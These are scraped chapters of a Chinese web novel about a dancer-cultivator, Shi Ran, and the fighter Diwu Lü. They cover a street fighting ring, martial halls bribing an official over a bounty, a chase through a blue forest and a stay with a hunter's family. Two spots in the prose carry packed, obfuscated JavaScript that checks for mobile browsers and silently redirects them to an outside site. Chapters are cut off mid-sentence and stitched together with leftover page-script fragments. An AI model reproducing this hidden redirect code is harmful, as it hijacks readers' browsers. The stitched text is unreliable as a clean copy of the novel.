“噔——” “瞧一瞧,看一看,世纪大武台,爱武你就来。” 又重复了几次。 “吵什么吵,这大中午的,还要不要人午休睡觉了!”尖利的声音直冲云霄,但不知从何而来。 施燃朝第五律支了支脖子,“你瞧,人这不就来了。” 不过一炷香时间,台下就围拢了人,都叫嚷着让施燃二人停下,然后滚开这里。 施燃笑着下台,将青石板上的酸梅汤一碗一碗发到这些人手里。 俗话说伸手不打笑脸人,更别说人还给东西吃。众人脸上就带着五彩斑斓的颜色咕叽吞咽下了这一碗碗酱紫色的酸梅汤。 施燃又上了台。 敲起一声锣鼓。 手指着第五律。 “大家来看——”众人视线就都投向第五律。 “站在你们面前的是,拳打南山敬老院,脚踢北海幼儿园,打遍武馆无敌手,好事做尽坏事不干,大名鼎鼎却淡泊名声,所以你们不知道他,一心追求武道,只求一败的第五少侠。” “今天——对——就是今天,在场的诸位,你们将见证一个伟大的时刻,一颗武道的新星将在这座城市冉冉升起,现在尽情的欢呼吧,狂笑吧,因为在今天及其以后的日子中,这座城市以及路过这座城市的武道之人,将会匍匐在第五少侠的牛皮鞋下,第五少侠将会永远继续他不败的神话。” 施燃的袖子被人拉了拉。 底下有人问:“说打遍武馆无敌手,你们打得过青蛇武馆吗?” 施燃仰着头,“手下败将,何足挂齿!” “你们说的是真的!” “当然是真的。”施燃揭开红布,顺手把蹭到台边勾着头的第五律拉到台中央。 红布下是一个柜子,里面放着一锭金子。 “不是真的,没有真实力,我们会拿出一锭金子做奖励吗?”施燃接着道: “只要上台比武赢了第五少侠,就会得到一两金子。” 人群中的青壮汉子瞧着第五律,脸上露出一种犹犹豫豫的神情。 施燃眼睛微眯,“你们难道对自己没有信心吗?”施燃手指台下意动的青壮汉子,那汉子脑袋左右摆动,施燃嚷道: “小伙子,别望了,我指的就是你。你看一看自己勃发的肌肉,看一看结实有力的大腿,练武奇才舍你其谁,别再犹豫了,上台吧,与台上的第五少侠展开一场名震古今的巅峰对决。” 施燃对着那汉子坚定地点头,“我对你非常有信心。” 那青壮汉子果然不再犹豫,猛得跳上台。 施燃下台,走到第五律身边时,垂头低声道: “下手轻一点。” 她双脚刚刚落在台下。 一声“砰”声,那汉子已经被打落台外。 施燃扭头看着第五律,第五律垂头看着她,她张嘴,细声细气道:“让你手下留情啊。” 第五律也细声细气道:“我已经手下很留情了。” 施燃又走上台,从怀里掏出一两银子,扔在柜子里,一两金子与一两银子碰了头。 她宣布:“第五少侠每赢一个人,这柜子里便会多一两银子,第五少侠若输给谁,这柜子里所有的银子都是他的。” “你们,敢来挑战吗?” 一时人群哗然,呼朋唤友,很快就将这处于偏僻地的台子围得水泄不通。 白日偏西,红染层云。 “噔——”施燃又朝柜子扔进一两银子。 柜里已经有一锭金子和上百锭银子了。 围着台边缘,已有大大小小几十个坑。 第五律只是脸上多了一层灰,连衣裳都没破。台下的人有的鼻青脸肿,有的折脚折手。 施燃走上台,“多谢各位父老乡亲厚爱,今天我们就战到这里,明天还是这个地点,想要来挑战的,请早。” “不过从明天开始,想要挑战的,都要交一两银子报名费。” “凭什么?” 施燃拉着第五律:“凭我们第五少侠那过人的实力和越来越多的奖金池。当然,如果各位觉得自己不是练武的料,可以找有实力的朋友过来哦。” “好了,话说到这里,大家都散了吧,记得明天早点来。”施燃摆摆手,又敲了一锣鼓。 人群渐渐散去。施燃转头一瞧,第五律又勾起头,她一掌拍向第五律的后背,“干嘛偷感这么重,大大方方的。” 第五律抿 28. 满值 《舞修的我是真的能拯救世界!》全本免费阅读 清晨,天正麻麻亮的时候,城内进了一群人,这些人皆戴着竹斗笠,低垂着头,举步诡谲。 这些人径直到了公示栏前。 城内都还沉寂着,只有几户人家屋顶上冒有如丝如缕的炊烟。昨夜的寒霜让路边的杂草在清晨凝了露珠,从叶上一滴滴坠落下来。 四人皆瞧着最新的通缉令。 身形圆润的男子道:“这监城司对通缉令可真不上心,九级的罪人,已经爻气入体,才一两银子,打发叫花子吗?划不来哟。” 有两撇胡子的男人接道:“这小城的监城司,你要他们怎么上心,他们也没能力上心。” “再来,监城司的人,瞧不起武馆那些人,觉得他们人粗鄙武功又浅薄,只知道开武馆骗那些不晓事的百姓练武,日进斗金。一向任武馆那群人打出狗脑子,自生自灭。能发个善心,整个通缉令,都能算监城司那些老爷们大发慈悲。” “乌鸦,你不接这活吧。”说话这人是个秃子,头上全是肉疙瘩。 “钱太少了。”被叫做乌鸦的人回道,他整个人黑黑长长,头发全束在头顶,腰上栓了一个酒葫芦,挂着两个铁鹰勾。 乌鸦盯着两张轮廓模糊的画像,眼珠子转到其中一个画像的耳朵上,有三个环。他盯了半晌,铁硬的脸上没有丝毫表情。 三人还在高高低低议论些什么。 有几户卖炊饼的人家开了门。 乌鸦瞧着从门口冒出的雾雾腾腾的白烟,脚提了提。 “走了。”他道,声音冰冷。 …… 今天一早,施燃就带着第五律出来了,昨天搭好了台子,今天可就方便多了。 有好事的人早就一丛丛在台下蹲着,希望占个好位置,尽情看个热闹。 第五律一上台,这消息不知为何就跟风一样吹遍了整座城市,半晌这台子就被围得水泄不通。 人一多,就开始嘈杂。 施燃试探说了两句,众人都在台下交头接耳,她没办法,只好疯狂敲锣。锣声扰得众人说话不尽兴,只好歇下他们的嘴。一刹那,这乌压压的一片就风息浪止了。 施燃清了下嗓子,说了几句台面话。 众人脸上皆是兴奋。 施燃感到所有人的目光都集中在她的身上,刺得她身上的血开始热滚滚地流遍全身,她脑子一瞬间激灵起来,这不是天大的好机会吗? 她放下锣鼓。 开始跳起了海藻舞。 “海藻海藻~在浪花里随风飘摇~海藻海藻~”她一面跳,嘴里一面哼着歌。 一刹那,这片场地就寂静起来。 施燃的声音在空中飘飘扬扬。 死一般的寂静后,哗得一下,众人嚷了起来。 “这是什么东西啊?” “比武呢?我们要看比武?” 喧闹声一浪压过一浪。 只有一个人盯着施燃,在人海中冷不丁地笑了一下,又一下。然后目光冷起来,盯着第五律的耳朵。 任人群喧嚣,施燃依然脸不红心不跳舞完了整场。 最后提了提裙角。 “谢谢大家一直以来的支持。” 话毕,她将在一旁勾着头的第五律拉到台中央,让第五律讲两句。 第五律面上冷硬,嘴唇张张合合,不知道要说什么。施燃拍了拍第五律的背,催促他赶紧的,第五律浑身一个颤抖,背脊陡然直了起来,他叫着: “闭嘴。” 于是一下子人们都闭嘴了,目光就聚在他身上了。 第五律冷着脸: “要上来比武的就快点。” 他瞧了施燃一眼,又道:“但要去她那里交一两银子报名费。” 施燃本以为有了门槛,只会有零星几个人上来。 但第五律话音刚落,施燃面前就排起一条弯弯绕绕的长队,一眼望不到头。她回望着第五律,咽下口水,第五律真的顶得住吗? 事实证明,第五律顶得住。 今天是阴天,连云都不似以往洁白,风呼呼啦啦地刮着,将不知哪里来的绿叶和黄沙卷得漫天都是,扰了人们的耳,迷了人们的眼。可就算是这样,人们的目光丝毫不能从台上移开,他们都似被提起脖子的鸭子,梗着脑袋,只能向台子方向看着,风越卷越大,额头冒着、背上浸着、手里捏着的都是冷汗。他们不为一直在台上的那个人紧张和担忧,他们为一个个上去的人担忧,台上的那个人是一座山,每个人都想攀爬,带着热血和激荡,还未知全貌,就坠了下来,被一脚踢了下来。 “咚——” “咚——” “咚——” 似鼓点,又似他们的心跳,白日到清晨,胸腔到嗓子眼,心就这样,伴随着鼓点,一路跳了上去。 “咚——” 然后落了下来。 地上又是密密麻麻的坑。 上来的人,全败。 第五律的名声,终于就如今日的风般,在这座城市里呼啦啦的卷来卷去。 带给武馆所有人阴天和乌云。 …… 名声大噪的第五律,扛着装满银子的柜子回了酒楼。 施燃好奇地问着第五律今日的感觉。 “有那么几个比武馆稍微厉害的人物。”第五律将快要从手上滑落的柜子紧了紧,“但也就那样了。” 施燃装没有听到第五律后半截话,“我想的主意不错吧。” 第五律顿了半晌,“一般吧。” “既然很不错,那作为奖励,尊贵的第五少爷,你是不是应该教我一点其他东西了。” 第五律定住脚步,皱了眉头,“这才几天,楚施燃,贪多嚼不烂。” 施燃朝第五律勾勾手指,“你来试试我。” 第五律冷脸,腾出一只手, 29. 监城司 《舞修的我是真的能拯救世界!》全本免费阅读 监城司府外,一群武馆之主恭恭敬敬地等着。有青衣小吏推开门,手中端着木盘,上置一小碟果脯。 正是日头旺得时候,光圈如涟漪般套着那日头。 青衣小吏擦了擦额头上的汗。 一旁立着的青蛇武馆之主忙贴了上去,将一个锦囊放在木盘上。明明已是快六十岁的老人,还要对一十来岁的小儿卑躬屈膝。他笑着问: “执笔大人,醒了没有。” 青衣小吏瞧着木盘上的锦囊,因酷热而烦躁的情绪散了些,他矜持地点点头,“嗯”了一声,进而小声叮嘱道: “你们进去可千万要小心,执笔大人可不喜喧闹,他刚醒,你们说话可千万小心,他每每初醒,心情便不佳。”青蛇武馆之主点点头,笑着说,“多谢大人告知。” 那青衣小吏因这番恭维,心情又敞亮了几分,他直了身子,将木盘上的锦囊揣进怀里,面上泛着红光离开了。 待青衣小吏走远后,武馆那群人中有人哼了一声,“不过是个端茶递水的小吏……” “不要说了。”青蛇武馆馆主冷了脸,“今天办事重要,那些口舌之利,你回家去逞吧。” 出声之人灰了脸,便再也不出声。 青蛇武馆馆主转眼盯着那扇厚重的红褐色榆木门,走到门前,缓缓推开,“吱呀”一声,他跨过门槛,人都跟着他走了进来。 屋内有几个小吏在埋头写着什么,桌上堆着文卷。主座之人大腹便便,油光满面,正手撑着脸,侧着身子,眼睛微阖,腰上挂着铁鱼令牌。 武馆之人全都默默地立在侧旁。 待主座之人睁开眼,青蛇武馆之主跨步而出,露出一个讨好的笑,“执笔大人,在下刘元良,青蛇武馆馆主,今日前来,是有一事要禀。” 主座之人懒懒搭了一下眼皮,“什么事。” 刘元良朝旁边人递了一个眼神,那人连忙出来,行礼之后抬起头,恭敬道: “在下龙雀。” 主座之人瞧了他一眼,“这名字,倒是有些印象。” 龙雀忙道:“绝世武馆血案,就是在下报给监城司的。” 主座之人道:“绝世武馆案发之地没有监城司来处置这事,你们武馆之间的事情就内里解决罢了,何故跋山涉水,将这事报上来。”他眉头一皱,“给我们找事情做。” “这……”龙雀擦了擦额头的冷汗,“武馆实在是处理不了这件事,无法将凶手拿下,府衙也管不了这爻气入体之人,所以才不远万里报了监城司……” 刘元良忙补充道:“这次来,就是想禀报大人,那在绝世武馆犯下血案之人到了这城里了。” “那又如何?”主座之人拿起竹筒里的毛笔,一脸不屑,“监城司之人杂物繁忙,未必有闲去捉拿此人,此人不过是一个小小的九级通缉犯而已。” 刘元良道:“并不是想劳烦监城司的大人们,只是想让通缉令上的赏银多加一些。” “监城司哪有那么多闲钱做赏银。” “那赏银的钱。”刘元良笑着,“我们武馆出了,十两金子。” 主座之人眼神一下利了起来,将毛笔掷回桶内,“你们在玩什么花样。” 他目光锐利,在底下站着的众人脸上徘徊。 武馆众人被盯得头皮紧绷,大气不敢出。 “我从来不知道你们武馆的人这么团结,团结到一武馆出事,所有武馆出头。” 刘元良拱手道:“大人息怒,不是我们团结,而是……而是犯下绝世武馆血案的人,正是如今在城内鼎鼎大名的所谓的第五少侠。” 主座之人脸上的怒色瞬间烟消雨散,放声大笑,“哈哈哈,怪不得啊,那个打遍武馆的第五少侠,是坏了你们的名声,挡着你们做生意了吧。”他指着底下的人道: “你们啊,死性不改,只有谈钱的时候,才把力气往一根绳子上使。”说着,又笑了两声。 “没本事的人是这样的,自己打不赢,只得借助外力。” 武馆众人只得赔笑。 见主座之人笑够了,刘元良从袖子里掏出大大小小的锦囊,躬身放到在场所有人的桌子上,当真是见者有份。 “这是给几位大人的茶水费,几位大人辛苦了。” 主座之人这才有了几分真心的笑意,道: “你们走吧,事情会办好的。” 刘元良便带着众人出去了。 回去的路上,刘元良对龙雀道:“你出的主意,最好有用。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12200459|127337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地面一上一下弹动,不消片刻,其中一颗杠蛋如疾风般旋转,空气噼啪爆出声响,杠蛋冲击到乌鸦的右眼,依旧在旋转,它周边缠绕着丝丝缕缕鲜红的气体,将乌鸦眼眶边的肉绞进内里,然后房水四溅。 乌鸦已然放开施燃,他疯狂抠动右眼上旋转的杠蛋,却被杠蛋周围鲜红丝缕灼伤指腹。 抱起梨花,捡起地上另一颗杠蛋,施燃隐入浓雾,五指微微内扣,乌鸦眼上的杠蛋,便立即飞回到她手中。 一团模糊的鲜红,在浓雾中若隐若现,然后消失不见。 乌鸦摸着已然烂稠黏糊地右眼,平静地将灰色右眼珠扣了下来,塞进嘴里咀嚼。 咔嚓声在辽阔静默地冰蓝森林中响起。 乌鸦将自己身体的一部分咽了下去,于是现在只能用左眼看这片森林的昏蓝和雾白。 “这不是钱的事了。” …… 跑,拼命的跑! 施燃慌不择路,不断地往冰蓝森林里面逃。不管里面有无大型猛兽出没,还是地形错综复杂,她都别无选择。 能运用爻气支使杠蛋,只是偶然,她无法保证自己下一击还能正常用出。 所以必须跑。 白雾弥散在她眼前,她又一头扎了进去,全身湿漉。 里面的草叶花枝,除了蓝色便是白色,她全身心紧绷,不知跑了多久,直到身体再也支持不住,跌倒在地。 酸软和痛楚侵袭而来,饥渴、疲惫也笼罩全身。 梨花无力地挂在施燃背上。 施燃翻转支起上半身,接好自己脱臼的胳膊。低头瞧着梨花,摸着它湿软的毛发,叹了一口气。 她勉强自己走了两步,在草丛和树上寻找能吃的果实,一无所获。饥饿让她胃不断收缩,她饿极了,眼睛发绿盯着树皮,啃了上去。 不知是不是因为这冰蓝色的树皮吸收了足够的雾,这树皮湿软多汁,还有些鲜甜,施燃啃了半截,稍有饱意,便弄醒梨花,剥下一片来,放到梨花嘴里。梨花细嚼慢咽吞了一半,就再也不吃,轻轻舔着自己的毛。 施燃剥了好多片树皮,放满怀。抱起梨花又跑进重重雾中,不知过了多久,也许是一天一夜,也许两天两夜,施燃实在支持不住,找了棵树靠着睡沉了。 在梦中,她在太阳下晒着暖,摇着躺椅慢慢晃悠,轻风吹拂着她的面颊,她闭上眼睛,进入了梦乡。突然,太阳消失,浓雾出现,她被冷醒了,躺椅上的她睁开眼睛。现实中的她也睁开了眼睛。 不远处,黑洞洞的眼眶对着她。 乌鸦在朝她走来,他又用起了双飞挝,鹰爪朝她飞过来。 施燃立刻清醒了,抓起梨花马不停蹄地跑,双飞挝自然落了空,她回头扭看,一道黑影紧随其后。 她心下着急,越跑越快,一股热流又自她脚底起,与这次不同,这热流淤积在脚底,良久不散。 乌鸦追了上来。 施燃又勉强与他过了两招,结束后手臂沉痛,这次交手她彻底打消了与乌鸦打过一场的想法。 脚底下的暖流越来越热,施燃觉得脚步越来越轻快,脚腕也越来越灵活……她跑了片刻,再一回头,乌鸦连个影儿都不见。 依旧只有重重白雾横亘在她眼前。 施燃连忙加快了速度。 重重冰蓝色影子被抛在身后,浓湿的雾气往她脖子里钻,雾气挤在一起,凝成水珠。一滴滴落了下来。 水滴流进施燃的后颈,钻进她的衣服,不过半晌,施燃就完完全全湿透了,水流淅淅沥沥、滴滴嗒嗒。 这水流带走施燃身体的最后一丝热意,不管施燃怎么跑,都没办法再暖起来,最后冷得直哆嗦。 在这暗无天日的冰蓝森林中,没办法保温,会迅速死去。 施燃只得停下,找到草丛,进去,脱下衣服,将全身用还算干着的中衣擦干,再将外套和中衣扭干,穿好。 她正系衣带,恍然间瞧见浓雾中有一团黑影过来。忙抱起梨花,暗骂一句怎么阴魂不散就又开始逃命。 两人就这样你追我跑。 施燃吃树皮时,忍不住睡着时,趴在树上啃树皮时,只要她稍微停下,乌鸦就会从不知哪个犄角疙瘩冒出来。 最恐怖的一次。 她累晕过去,好不容易睁眼,便见乌鸦披散头发立在她身前,刀片从袖间滑落,正准备割她的头。 她被吓得连滚带爬站起来,付出右手五指被折断、身上被割了无数大大小小的伤才从乌鸦手中逃出来。 那次过后,每次快要累得闭眼时,她便在心里念道: 天将降大任于斯人也,必先苦其心志饿其体肤,空乏其身——念到一半发觉不对,她已经是要拯救世界的人了,便回转念着: 天已降大任于斯人也…… 她不知念了多少遍,这片冰蓝森林的土地也不知有多少地方布满她的足迹,她很累,只是拯救世界这个念头支撑着她一步一步走下去。 不知不觉之间,浓雾淡了,温度逐渐升高。 施燃心中泛出喜意,这里环境变了说明这可能有出口。 她急急朝那个方向走去。 冰蓝色的树木逐渐变成浅绿色,施燃沿着浅绿色前行数里,这轻轻灵灵的浅绿变为郁郁葱葱的深绿,雾气已然完全消散。 铺天盖地的绿色中,夹着三条歪歪斜斜的小道。 走哪里呢? 施燃心想,她有三分之一的概率赌。 思考片刻后,施燃在三个小道口都挖了陷阱,一个极为粗糙,一眼便能看出,一个要花费些功夫才能看出,最后一个极为精细,几乎遮盖得天衣无缝。 …… 乌鸦寻到小道,徘徊片刻,将施燃做得粗糙的陷阱一脚踢开。 “想困住我,拙劣的把戏。将自己也暴露了。”乌鸦瞧着陷阱冷声道。 他朝那小道走了两步,又立即折回去。在另外两个小道仔细探寻,不过片刻,就将施燃所有的陷阱揭露。 乌鸦斟酌片刻,去了陷阱最为精细的小道。 许久,藏在丛林中的施燃探身而出,急速去了乌鸦最初前往的道路。 她做三个陷阱,无非是让乌鸦确定她已经往小道走了。 这样乌鸦便会追过去,而她能避开最大的危险,也可以拖延时间。 月上枝头。 施燃借着月光,在崎岖不平的小路上赶路。小路一圈又一圈,蜿蜒得好像没有尽头。 月亮渐渐隐去,等到黎明出生。 行了许久,施燃本以为前方已是尽头,只能折返。却不料柳暗花明又一村,前方虽是峭壁,但只有七八米高,她借着峭壁上横生的枝桠慢慢爬了上去。 待爬上去接触到干燥的沙砾时,施燃痛痛快快趴在地上喘气,温暖的晨曦映在她脸上,梨花安静地趴在她肩上,她翻身站起。 此时狂风大作,红日在冰蓝的地平线上升起,冰蓝的森林如海浪般翻滚跳跃。 施燃头发被风吹乱,丝丝缕缕散在天边,她手作喇叭状,嚎叫着: “狗屎——狗屎——都是狗屎——全是狗屎——乌鸦是最臭得那坨狗屎——”施燃叫骂着,骂了很久,骂到最后,眼泪不觉留下来,“第五律……虽然你人真的很好,但你的家人也是一坨臭狗屎。” 这一句过后,便闭了嘴,抹了眼泪,转身离去。 狂风依旧卷着冰蓝的海浪。 峭壁边,枝桠上的条缕碎布随风飞舞。 43. 四修 出了冰蓝森林的路并不是一条坦途。秀木林深,荒无人烟。时值半夜,施燃才在黑莽莽的一片中瞧见一豆灯火。 她朝那木屋飞奔了过去,大门已闩。敲了敲门,里面无人应答。她扭头看向木屋旁的羊圈,摸了进去,与梨花在软绵绵和鲜腥浓烈的气息中沉入梦乡。 透过栅栏的日光如一条束棒打到施燃的眼皮上,她被日光敲醒,察觉脸上湿漉漉的,睁眼一瞧,被一头羊羔舔着。 早起的妇人端着木盆,打着哈欠走到羊圈旁查看群羊的状况,陡然见里面多出个人,就惊呼起来,引来了她的丈夫。 妇人的丈夫是一个猎人,身形魁梧,满脸胡子。翻过羊圈就要将里面的施燃提起来,施燃躲开来,连连摆手,向他们说明自己的景况。 猎人听后,上下打量着施燃,斟酌了一会儿,觉得她所言非虚。 妇人脸露怜惜,“那些人太不是东西了,好好的姑娘家非要逼人去做那些见不得人的勾当,幸亏姑娘你逃出来了。” 她招呼着施燃,“姑娘,你跟我来,好好修整一番。” 施燃走出羊圈,梨花跳上了她的肩膀。 跟着妇人进了门,妇人开灶给施燃红烧了一只兔子,施燃一面狼吞虎咽般吃着,一面向妇人打听最近的城镇。 妇人道:“我们这儿偏僻,最近的殷临城离这儿也有五天五夜的路。我家那口子今儿下午就要去殷临城换些布料和盐,姑娘想去的话,跟着他就是了。”说完,妇人往隔间去了。 施燃吃完兔子后收拾碗筷。那妇人撩起隔间帘子一瞧,连忙搭手阻止施燃,“我在隔间烧了热水,放了金疮药,姑娘你先去梳洗,瞧瞧自己的伤口,这活计我来吧。”施燃说不过妇人,只得带着梨花去了隔间。 她放下帘子,锁好门,将衣领扯开一瞧,右肩膀上是已成乌紫的斑斑血痕,一条蚯蚓般的肉线横过肩角,其上还有几个灌脓的血洞。稍一伸展,便觉肉撕骨裂,她右肩骨头整个已经错位。 施燃瞧着那冒热气的木盆,将搭在板凳上的白布打湿,脱下衣服,擦干净身上的血污,涂上了金疮药。 这些金疮药只能医治皮外伤,要想根治,还得找有经验的大夫。 这样想着,施燃穿好了衣服。用剩余的水洗了头发。 洗完头发,正擦拭时。梨花喵呜一声跳到了她大腿上,施燃摸着它的毛,察觉手下紧实鼓胀的肉,疑惑着,忙迅速揉遍了它的全身,发觉这种肉梨花全身都是,心中一惊。 梨花该不会得什么肿瘤疾病了吧。 谁知系统这时候跳出来,在施燃脑里叫着: [这是肌肉,不是肿瘤。] [你的宠物梨花有技能瞬时一闪,若按照它原本的体质,在使用这技能的一刹那,便会肉崩骨碎,但系统将它的肉纤维淬炼千百次后,它便有使用瞬时一闪的资格了。] 施燃眯眼,她心里一直疑惑梨花怎么能拖动两个杠蛋,那可是整整六十斤啊,原来系统改变了梨花的肉纤维,那就说得通了。心思一转,施燃又问: [我记得梨花这技能是可以继续开发的吧。] [对。]系统答道。 施燃以拳头撑着下颌,“那反过来,我把梨花锻炼成肌肉猫,瞬时一闪就可以升级了。”她挑眉道。 系统沉默了一会儿。 [按理说是这样的,但是——] 施燃扬起手,“没有但是,就这样说定了。梨花以后就走肌肉萌妹路线了。” 系统哑下来,梨花还在舔毛喵喵叫,丝毫不知道自己会面对怎样的命运。 她从怀里掏出杠蛋,丢在梨花脚边。梨花再怎么样也是一只猫,就喜欢圆滚滚,随意跑动的东西,几乎是一落地,杠蛋就被梨花刨来刨去。 施燃折身按下杠蛋上的菱形框,每个杠蛋就六十斤了。 梨花刨了一会儿,见刨不动,便舔毛。杠蛋对它的吸引力仿佛一瞬间无影无踪。 施燃戳戳梨花的额头,小声道:“让你刨杠蛋训练出肌肉,就只会偷懒,一点上进行心都没有。”虽然是这样说,但施燃并未做出其他动作,只是拿起两颗杠蛋,颠了颠。 球体在空中旋转。 施燃盯着杠蛋,想起与乌鸦你死我活时,上面缠绕着的红色流体。 丝丝缕缕,烈焰如火。 “那是什么?”施燃不由得嘀咕出声。 [是爻气。] [为何爻气会缠上杠蛋,系统,这是你弄的吗?] 系统哼哼两声,[虽然很想告诉你这是我的功劳,但是……这是你自己努力的成果。] [系统解锁的街舞物种之一Breaking,按坤泽大陆的分法,应该是体修。而你的爻气可以控制杠蛋,证明你可以是一个器修,器修分两类,一类是利用爻气控制专属武器,而另一类是利用爻气打造武器。乌鸦是前者,而万器坊的坊主则是后者。] 系统提到乌鸦,施燃不由得心头发怵,她紧了紧心神,问系统: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12264253|127337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' [那两头鹰爪就是乌鸦用爻气控制的武器。] [是的。]系统回应道。 怪不得,那两头鹰爪准确率那么高,而且灵活得吓人,连接鹰爪的绳索仿佛有无限长,那时两头鹰爪能同时抓住相隔五六十米的她跟第五律时,她就有这个疑惑了。 第五律…… 他…… 也不知道他还好吗?施燃惆怅想着,目光落到窗外,他家里人把他接走了,现在想必是吃的好,穿的好,有无数名医围着他医治,烧应该退了,手脚筋也该被修复了吧……这个世界的医术,都有爻气了,应该能修复手脚筋吧。 下次见面应该是猴年马月了。 施燃散漫想了一会儿,将目光收回,心绪也收回,继续问系统: [既然有器修、体修,那么也有其他修吧。] [有四大类,器体魂心。其余类型的修士皆是这四大类的分支。器修体修已经向你做过说明,你也接触过,就不再赘述。魂修,顾名思义,便是利用爻气控制人的灵魂,或对人的灵魂做出改变,你接触过。] 施燃眼珠儿往上一翻,[那个樊岳。] [对。] 她思考一会儿,连忙从怀里掏出几张皱巴巴的纸来,这是当初从樊岳处缴获的,想不到她丢了许多东西,这无关紧要的几张纸却没丢,瞧了几眼,依旧看不懂,就揣回怀里了。 “魂修,听起来很恐怖啊,一定会玩阴的,藏在暗处里害人,肯定个个都是老阴比。” 施燃脑补着巫术养蛊养小鬼之类的,无非是樊岳带给她的印象太阴毒了,让她对魂修产生了刻板印象。 [最后一个是心修,是这四大类中最稀少,也是最神秘的一个。与其他四类循序渐进的修炼不同,心修在最开始,便一步登天,必定在心脏处爻气,产出的爻气必定会具现化出实物,而那实物,便是心修执念和心病所在。执念越深、心病越重,那爻气所化实物力量便会越强大。] [实物,是什么实物?]施燃琢磨问着。 [这只有心修本人知道。] [说了跟没说一样。]施燃耸肩摆手,继续颠着杠蛋。 她颠了一会儿,就发觉不对劲,六十斤她拿在手上与三十斤手感相似,便立即让系统打开面板。 系统打开,面板数据如下: 力:6 速:6.1 耐:6.5 施燃瞳孔收缩,要知道她十几天看时,力速耐还全是3。 44. 医馆 猛涨的数据把施燃吓了一跳,她问系统怎么一回事。 系统答着: [你在冰蓝森林里没日没夜带这六十斤东西跑了十几天,数据自然会涨。更何况,实战与单纯锻炼得到的经验不可同日而语,你还在其间领悟了控器之道,数据涨了一倍多是情理之中。] 施燃点头,系统这么一说,她琢磨着是不是找些厉害的人交手。 可哪里有这些人呢? 正思索着,有人敲门,“姑娘,你好了吗?没事吧?”是那妇人的声音,随即又一阵敲门声。原来是那妇人久等施燃不出来,怕她晕在里面,便有此动作。 施燃回了一声,忙把衣冠整理好,打开门,先是对妇人致歉,后道: “我从小便喜欢打猎,对打猎颇有心得,我想猎些东西拿到殷临城去卖,不知这片地何处猎物多些。” 施燃这一问,妇人立即叫了她丈夫来。听了施燃的要求,猎人将她带到一片茂密树林旁,叮嘱道: “我曾往林子深处去,见过虎狼的足迹,从那以后,我便不再去了,只在林子旁猎些山鸡兔子。姑娘记住我的话,千万只在边缘处打猎,不可往深处去。” 施燃点头,待猎人走后,她带着梨□□直往树林深处去了。她打猎是为了测试自己武功如今是什么水平,当然要找大型猛兽练手,猎人的话,算是反向指点。 一个时辰后,从林子里出来的施燃除了头发乱些,裙摆有些污脏,便看不出什么变化来。 她肩上叠扛着一头野猪和一头鹿,一只手拎着几只獐子野鸡,另一只手拎着几条兔子,梨花趴在头上,慢慢悠悠往猎人家里去了。 进了院门,她将这些捆好放到猎人院子里,迎面撞见妇人。 “正说你怎么还不回来,该吃午饭了。”妇人撇头,瞧见院子里的动物,捂住了嘴,“鹿和野猪可难打了,姑娘真厉害,一定能卖个好价钱。”她将施燃拉进屋门,按到座位上,“你一定饿了,快吃吧。” 猎人早已埋头吃得满头大汗。 妇人掖一角袖子,给猎人擦汗,“瞧你吃饭这德行。” 施燃笑了,也埋头吃着碗里的红薯稀饭。 饭后,妇人立在院门叮嘱着猎人,无非是小心路、注意安全之类的话,还让猎人给她带一尺花布和木簪子,两人絮聒了一会儿,猎人依依不舍带着皮褡裢与施燃走了。 两人走后不久,妇人喂羊时发现院里那些血淋淋的猎物,就“哎哟”一声,叹道:“这姑娘,怎么忘记拿东西了。”急出院门,追了一里路,不见两人踪影,知是追不上了,无奈折返。 一连五日,日头在天上白晃晃亮得吓人,施燃被晒得外皮发红,到了殷临城,已然黑了一个度。 殷临城门有士兵查文碟,猎人给了路引,这些士兵被烈日晒得懒散,见了猎人路引,又见施燃是个手无缚鸡之力的女人,猎人只说了施燃是他远房侄女,便放两人过去了。 穿过城楼隧道,进入城里,两人分别之际,施燃对猎人道: “大哥,我走的时候将猎物落在你们院里了,既然我没带走,这猎物怎么处置都随你们的意。” 猎人嘴唇翕动,欲说什么,被施燃截话,“那就这样说定了,我先走了,青山不改绿水长流,我们有缘再见。”说完,转身将手摆了摆,不过半晌,在人群中消失的无影无踪。 那猎物施燃本就不准备带走,是留给猎人夫妇的谢礼,只是怕他们推辞,她不想多费唇舌劝说,才出此下策,先斩后奏。 殷临城阜盛膏梁之地,比之上一个城市气势更盛,这一点从那百尺宽、二十尺高的城门、城街三条甬道、街旁留有十余尺宽的闲置地就可以看出,更别说殷临城行人身上穿的、头上戴的、手里拿的,更是花样繁多,让人眼前一亮。 施燃顶着火辣辣的太阳在城中闲散逛了一会儿,口干舌燥,见树荫下有卖凉茶的,舔了舔唇瓣,欲买碗茶喝,忽然想到自己包袱掉了,现在身无分文。再扭头见梨花焉焉趴在肩上,显然也受不住这火烤般的天气,便笑嘻嘻凑到凉茶老人面前,搓搓手道: “大爷,能舍我一碗茶喝吗?我给你洗碗。” 大爷鼻尖一声冷哼,拿下肩上的白布,像驱赶苍蝇般在空中掸了掸。 “碗,我自己洗就行。” 被拒绝后,施燃也不气馁,她手作喇叭状呼喊,“瞧一瞧,看一看,新鲜的凉茶,今早去山里采的草药,现煮的,清热去火,走过路过千万不要错过。”她这般吆喝着,有行人驻足,但也只是瞧了两眼就离开。 这样不够吸引人。 施燃眼珠儿一转,跳起来折了几条树枝,将老人桶里的碗捡出来,以树枝顶碗,在头上、手上不停旋转。这是在杂技班子女艺人手里学的技法,想不到今日就用上了。 